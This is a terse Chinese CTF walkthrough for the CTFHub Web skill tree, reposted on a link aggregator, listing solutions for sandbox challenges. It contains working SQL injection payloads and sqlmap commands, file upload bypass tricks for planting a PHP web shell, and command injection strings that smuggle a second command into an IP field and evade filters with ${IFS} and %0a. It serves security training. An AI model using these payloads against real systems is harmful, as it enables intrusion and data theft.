【CTFHUB】Web技能树
source link: http://www.cnblogs.com/vege/p/12990104.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Web
HTTP协议
请求方式
302跳转
cookie
基础认证
响应包源代码
信息泄露
目录遍历
phpinfo
备份文件下载
网站源码
bak文件
vim缓存
下载下来放到linux中
在文件前面加的点(.) .index.php.swp
然后运行 vi -r index.php
.DS_Store
记事本打开
Git泄露
Log
python git_extract.py http://challenge-8cff71d12c02de35.sandbox.ctfhub.com:10080/.git/
Stash
同上
Index
同上
SVN泄露
使用dvcs-ripper工具
HG泄露
使用dvcs-ripper工具
密码口令
弱口令
admin 123456
默认口令
百度搜索亿邮邮件网关默认口令
SQL注入
整数型注入
字符型注入
报错注入
extractvalue函数报错: 1 and ( extractvalue( 'anything',concat( '~', (select database()) ) ) );
updatexml函数报错: 1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
只能显示32位:
substr(字符串,开始位置,长度)
布尔盲注
sqlmap
sqlmap -u " http://challenge-520521e9124c0be8.sandbox.ctfhub.com:10080/?id=1 " --dbs -technique B
数据库 sqli 表 flag 字段 flag
时间盲注
sqlmap
sqlmap -u " http://challenge-58442e11e1306e17.sandbox.ctfhub.com:10080/?id=1 " --dbs -technique T
MySQL结构
-1 union select 1, group_concat(djbtjjrnuq) from sqli.pqfzaflkkt;
cookie注入
sqlmap -u " http://challenge-52d3494f9e4a406f.sandbox.ctfhub.com:10080/ " --cookie "id=1" --level 2 --dbs
UA注入
user-agent: -1 union select 1,group_concat(hddxcgzzsv) from sqli.bgerzmdwpi;#
sqlmap:
sqlmap -u " http://challenge-f7a6b5d5665981cc.sandbox.ctfhub.com:10080/ " --user-agent "123" --level 3 --dbs -technique U --dbms
Refer注入
同上,只不过在referer中输入SQL语句
XSS
反射型
文件上传
无验证
前端验证
把PHP文件后缀改为jpg,抓包再改回php
.htaccess
上传.htaccess和hhh.jpg
MIME绕过
正常上传,抓包,将content-type改为 image/jpeg
00截断
双写后缀
文件头检测
将一句话马改为jpg后缀,抓包,修改后缀为php,并添加gif头
RCE
命令注入
127.0.0.1 & ls
过滤cat
127.0.0.1 & more flag_162822816029866.php
过滤空格
使用${IFS}代替空格(可以代替空格的有IFS$9、%09、%0a、<、>、<>、{,}、${IFS}等)
过滤目录分隔符
使用;符号分割命令
127.0.0.1 & ls
发现flag_is_here目录
127.0.0.1 & cd flag_is_here;ls
发现flag_44052408916433.php文件
127.0.0.1& cd flag_is_here;ls;cat flag_44052408916433.php
查看源代码得到flag
过滤运算符
127.0.0.1 ; cat flag_991932693945.php
综合过滤练习
过滤了|,&,;, ,/,cat,flag,ctfhub
%0a(换行符)可以代替;符号,但是要在url处输入,不然会被再次转义
%09或者${IFS}等,可以替代空格
通配符 * ?
127.0.0.1%09%0a%09cd%09fla?_is_here%0amore%09fla?_260832613315632.php#
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK